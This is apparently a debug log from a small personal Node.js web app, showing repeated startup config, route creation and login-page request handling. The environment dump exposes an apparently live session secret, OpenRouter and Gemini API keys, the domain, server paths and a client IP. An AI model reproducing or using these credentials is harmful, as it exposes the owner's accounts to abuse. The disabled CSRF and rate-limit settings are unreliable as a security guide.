2026-06-13T02:30:13.890Z server-connect:setup:upload Upload middleware configured.
2026-06-13T02:30:13.891Z server-connect:secure CSRF Protection initialized
2026-06-13T02:30:13.894Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T02:30:13.896Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T02:30:13.896Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T02:30:13.897Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T02:30:13.897Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T02:30:13.898Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T02:30:13.899Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T02:30:13.899Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T02:30:13.903Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T02:30:13.904Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T02:30:13.904Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T02:30:13.905Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T02:30:13.905Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T02:30:13.906Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T02:30:13.906Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T02:30:13.907Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T02:30:13.907Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T02:30:13.908Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T02:30:13.909Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T02:30:13.909Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T02:30:13.910Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T02:30:13.910Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T02:30:13.911Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T02:30:13.911Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T02:30:13.912Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T02:30:13.912Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T02:30:13.913Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T02:30:13.913Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T02:30:13.913Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T02:30:13.914Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T02:30:13.914Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T02:30:13.914Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T02:30:13.915Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T02:30:13.915Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T02:30:13.916Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T02:30:13.916Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T02:30:13.916Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T02:30:13.917Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T02:33:39.929Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T02:33:40.112Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T02:33:40.187Z server-connect:setup:upload Upload middleware configured.
2026-06-13T02:33:40.187Z server-connect:secure CSRF Protection initialized
2026-06-13T02:33:40.189Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T02:33:40.191Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T02:33:40.191Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T02:33:40.192Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T02:33:40.193Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T02:33:40.193Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T02:33:40.194Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T02:33:40.195Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T02:33:40.195Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T02:33:40.196Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T02:33:40.198Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T02:33:40.199Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T02:33:40.199Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T02:33:40.199Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T02:33:40.200Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T02:33:40.200Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T02:33:40.200Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T02:33:40.201Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T02:33:40.201Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T02:33:40.201Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T02:33:40.202Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T02:33:40.202Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T02:33:40.202Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T02:33:40.202Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T02:33:40.203Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T02:33:40.203Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T02:33:40.203Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T02:33:40.203Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T02:33:40.204Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T02:33:40.204Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T02:33:40.204Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T02:33:40.204Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T02:33:40.205Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T02:33:40.205Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T02:33:40.205Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T02:33:40.205Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T02:33:40.205Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T02:33:40.206Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T02:33:40.308Z server-connect:router Serving templateView /
2026-06-13T02:33:40.310Z server-connect:app Executing action step identify
2026-06-13T02:33:40.310Z server-connect:app options: { provider: 'security' }
2026-06-13T02:33:40.312Z server-connect:auth No login cookie found
2026-06-13T02:33:40.312Z server-connect:output identity: false
2026-06-13T02:33:40.312Z server-connect:app Executing action step restrict
2026-06-13T02:33:40.312Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T02:33:40.315Z server-connect:output restrict: undefined
2026-06-13T06:59:07.366Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T06:59:09.929Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T06:59:10.109Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T06:59:10.439Z server-connect:setup:upload Upload middleware configured.
2026-06-13T06:59:10.439Z server-connect:secure CSRF Protection initialized
2026-06-13T06:59:10.444Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T06:59:10.446Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T06:59:10.447Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T06:59:10.449Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T06:59:10.457Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T06:59:10.458Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T06:59:10.473Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T06:59:10.487Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T06:59:10.490Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T06:59:10.492Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T06:59:10.495Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T06:59:10.498Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T06:59:10.504Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T06:59:10.516Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T06:59:10.520Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T06:59:10.592Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T06:59:10.593Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T06:59:10.598Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T06:59:10.603Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T06:59:10.607Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T06:59:10.609Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T06:59:10.617Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T06:59:10.619Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T06:59:10.625Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T06:59:10.627Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T06:59:10.631Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T06:59:10.633Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T06:59:10.635Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T06:59:10.641Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T06:59:10.643Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T06:59:10.645Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T06:59:10.647Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T06:59:10.651Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T06:59:10.653Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T06:59:10.658Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T06:59:10.662Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T06:59:10.664Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T06:59:10.674Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T06:59:11.217Z server-connect:router Serving templateView /
2026-06-13T06:59:11.219Z server-connect:app Executing action step identify
2026-06-13T06:59:11.219Z server-connect:app options: { provider: 'security' }
2026-06-13T06:59:11.225Z server-connect:auth No login cookie found
2026-06-13T06:59:11.225Z server-connect:output identity: false
2026-06-13T06:59:11.225Z server-connect:app Executing action step restrict
2026-06-13T06:59:11.225Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T06:59:11.230Z server-connect:output restrict: undefined
2026-06-13T08:59:07.210Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T08:59:08.909Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T08:59:09.997Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T08:59:10.150Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T08:59:10.247Z server-connect:setup:upload Upload middleware configured.
2026-06-13T08:59:10.248Z server-connect:secure CSRF Protection initialized
2026-06-13T08:59:10.250Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T08:59:10.251Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T08:59:10.252Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T08:59:10.253Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T08:59:10.253Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T08:59:10.254Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T08:59:10.262Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T08:59:10.263Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T08:59:10.264Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T08:59:10.276Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T08:59:10.276Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T08:59:10.277Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T08:59:10.277Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T08:59:10.278Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T08:59:10.278Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T08:59:10.279Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T08:59:10.279Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T08:59:10.280Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T08:59:10.280Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T08:59:10.281Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T08:59:10.281Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T08:59:10.282Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T08:59:10.282Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T08:59:10.282Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T08:59:10.283Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T08:59:10.283Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T08:59:10.283Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T08:59:10.283Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T08:59:10.284Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T08:59:10.284Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T08:59:10.284Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T08:59:10.285Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T08:59:10.285Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T08:59:10.285Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T08:59:10.286Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T08:59:10.286Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T08:59:10.286Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T08:59:10.286Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T08:59:10.688Z server-connect:router Serving templateView /
2026-06-13T08:59:10.735Z server-connect:app Executing action step identify
2026-06-13T08:59:10.736Z server-connect:app options: { provider: 'security' }
2026-06-13T08:59:10.748Z server-connect:auth No login cookie found
2026-06-13T08:59:10.748Z server-connect:output identity: false
2026-06-13T08:59:10.748Z server-connect:app Executing action step restrict
2026-06-13T08:59:10.748Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T08:59:10.752Z server-connect:output restrict: undefined
2026-06-13T08:59:17.644Z server-connect:router Serving templateView /
2026-06-13T08:59:17.645Z server-connect:app Executing action step identify
2026-06-13T08:59:17.645Z server-connect:app options: { provider: 'security' }
2026-06-13T08:59:17.645Z server-connect:auth No login cookie found
2026-06-13T08:59:17.645Z server-connect:output identity: false
2026-06-13T08:59:17.645Z server-connect:app Executing action step restrict
2026-06-13T08:59:17.646Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T08:59:17.646Z server-connect:output restrict: undefined
2026-06-13T08:59:17.808Z server-connect:router Serving templateView /login
2026-06-13T08:59:17.809Z server-connect:app Executing action step identify
2026-06-13T08:59:17.809Z server-connect:app options: { provider: 'security' }
2026-06-13T08:59:17.809Z server-connect:auth No login cookie found
2026-06-13T08:59:17.809Z server-connect:output identity: false
2026-06-13T08:59:17.809Z server-connect:router Render template layouts/authentication
2026-06-13T08:59:17.810Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    'cache-control': 'max-age=0',
    'sec-ch-ua-platform': 'Android',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'accept-encoding': 'gzip,br',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'x-forwarded-for': '34.11.154.254',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-14T08:59:17.808Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.11.154.254',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA-PLATFORM': 'Android',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-GB,en-US;q=0.9,en;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_X_FORWARDED-FOR': '34.11.154.254',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-13T16:47:26.903Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T16:47:29.173Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T16:47:30.037Z server-connect:setup:upload Upload middleware configured.
2026-06-13T16:47:30.037Z server-connect:secure CSRF Protection initialized
2026-06-13T16:47:30.042Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T16:47:30.044Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T16:47:30.045Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T16:47:30.051Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T16:47:30.054Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T16:47:30.058Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T16:47:30.072Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T16:47:30.085Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T16:47:30.090Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T16:47:30.091Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T16:47:30.093Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T16:47:30.097Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T16:47:30.103Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T16:47:30.113Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T16:47:30.117Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T16:47:30.189Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T16:47:30.191Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T16:47:30.195Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T16:47:30.201Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T16:47:30.206Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T16:47:30.206Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T16:47:30.214Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T16:47:30.216Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
